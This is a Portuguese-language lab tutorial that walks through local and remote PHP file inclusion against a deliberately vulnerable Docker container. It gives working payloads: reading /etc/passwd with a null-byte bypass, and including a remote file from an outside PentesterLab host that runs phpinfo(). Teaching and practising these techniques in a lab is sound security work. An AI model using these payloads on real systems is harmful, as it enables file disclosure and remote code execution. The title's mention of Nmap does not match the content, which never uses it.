Explorar Vulnerabilidades de Inclusão de Arquivos com Nmap

Beginner

Introdução

Neste laboratório, você aprenderá como explorar vulnerabilidades de inclusão de arquivos, tanto localmente quanto remotamente. As vulnerabilidades de inclusão de arquivos ocorrem quando a entrada do usuário não é devidamente sanitizada e é usada para incluir arquivos no servidor. Isso pode levar à exposição de dados sensíveis, execução remota de código e outras consequências graves. Ao entender as técnicas e payloads usados neste laboratório, você obterá experiência prática na identificação e exploração dessas vulnerabilidades.

Configurando o Ambiente

Nesta fase, estabeleceremos um ambiente de laboratório para aprimorar nossas habilidades na exploração de vulnerabilidades de inclusão de arquivos.

Primeiramente, execute o comando abaixo para iniciar a aplicação web vulnerável:

docker run -d -p 81:80 --name pentesterlab-phpfileinclude jewel591/vulnbox:pentesterlab-phpfileinclude /bin/sh -c "sed -i 's/allow_url_include = Off/allow_url_include = On/g' /etc/php/7.3/apache2/php.ini && service apache2 start && service mysql start && tail -f /var/log/apache2/error.log" --registry-mirror=http://hub-mirror.c.163.com

Este comando coloca em movimento um container Docker com uma aplicação web suscetível, operando na porta 81.

Em seguida, inicie seu navegador web e acesse http://127.0.0.1:81. Você deve ser recebido pela página inicial da aplicação web.

Identificando a Vulnerabilidade de Inclusão de Arquivos

Nesta fase, investigaremos a identificação de possíveis vulnerabilidades de inclusão de arquivos, examinando os parâmetros da URL.

Na página inicial da aplicação web, pressione os botões "Submit" e "Login". Preste atenção à URL na barra de endereço do seu navegador. Você deve observar que a URL se altera de acordo com o parâmetro page, como http://127.0.0.1:81/index.php?page=submit e http://127.0.0.1:81/index.php?page=login.

Este padrão indica que a aplicação web pode estar lidando com a entrada do usuário de maneira insegura, o que poderia potencialmente dar origem a uma vulnerabilidade de inclusão de arquivos.

Confirmando a Vulnerabilidade

Nesta fase, exploraremos como detectar uma vulnerabilidade de inclusão de arquivos. Existem dois métodos predominantes:

  1. Método do Parâmetro Array (Array Parameter Method): Modifique o parâmetro page para um array. Por exemplo, http://localhost:81/index.php?page[]=test. Se você encontrar uma mensagem de aviso ou erro mencionando "include" ou "failed to open stream", isso significa uma potencial vulnerabilidade, pois a aplicação está tentando incluir arquivos com base na entrada do usuário.

  2. Teste de Inclusão de Arquivo Local (Local File Inclusion Test): Tente incluir um arquivo local presente no servidor, como /etc/passwd no Linux ou C:\Windows\System32\drivers\etc\hosts no Windows. Se o conteúdo do arquivo for exibido, isso confirma uma vulnerabilidade de inclusão de arquivo local.

Para esta lição, usaremos o segundo método, incluindo o arquivo /etc/passwd:

http://localhost:81/index.php?page=/etc/passwd

Você provavelmente verá uma mensagem de erro indicando que a aplicação está tentando incluir /etc/passwd.php em vez de /etc/passwd. Isso acontece porque a aplicação automaticamente anexa .php ao arquivo incluído.

Para contornar isso, podemos empregar a técnica do byte nulo (%00). O byte nulo encerra a string, fazendo com que a aplicação ignore tudo o que o segue.

Experimente o payload abaixo:

http://localhost:81/index.php?page=/etc/passwd%00

Se você conseguir ver o conteúdo do arquivo /etc/passwd, isso verifica a presença de uma vulnerabilidade de inclusão de arquivo local.

Explorando a Inclusão Remota de Arquivos

Nesta fase, investigaremos o conceito de inclusão remota de arquivos e suas potenciais vulnerabilidades.

A inclusão remota de arquivos é uma questão crítica que pode potencialmente permitir que um invasor inclua arquivos de servidores externos. Isso pode levar a graves violações de segurança, como execução remota de código ou exposição de dados confidenciais.

Vamos começar com um exemplo em que tentamos incluir um arquivo remoto hospedado em um servidor externo:

http://localhost:81/index.php?page=https://www.example.com/index.html%00

Ao executar isso, você deve ser capaz de ver o conteúdo do arquivo remoto incluído na resposta da aplicação web.

Em um cenário da vida real, um invasor normalmente hospedaria seu próprio payload malicioso em um servidor que ele controla e, em seguida, tentaria incluí-lo usando a vulnerabilidade de inclusão remota de arquivos.

Para fins desta demonstração, usaremos um payload pré-hospedado do site PentesterLab:

http://localhost:81/index.php?page=https://assets.pentesterlab.com/test_include.txt%00

Este payload aciona a função phpinfo(), que divulga informações sobre a configuração PHP do servidor.

Lembre-se, esta é uma demonstração de uma potencial vulnerabilidade. Ao construir suas próprias aplicações, é crucial implementar medidas de segurança adequadas para evitar tais ataques. Na próxima seção, falaremos sobre algumas dessas práticas de segurança.

Resumo

Neste laboratório, você aprendeu como identificar e explorar vulnerabilidades de inclusão de arquivos, tanto localmente quanto remotamente. Você configurou uma aplicação web vulnerável, analisou os parâmetros da URL para identificar potenciais vulnerabilidades, confirmou a presença de vulnerabilidades de inclusão de arquivos usando diferentes técnicas e, finalmente, explorou as vulnerabilidades de inclusão de arquivos locais e remotas. Compreender essas vulnerabilidades e seus métodos de exploração é crucial para o teste de segurança de aplicações web e para garantir a proteção de dados e sistemas sensíveis.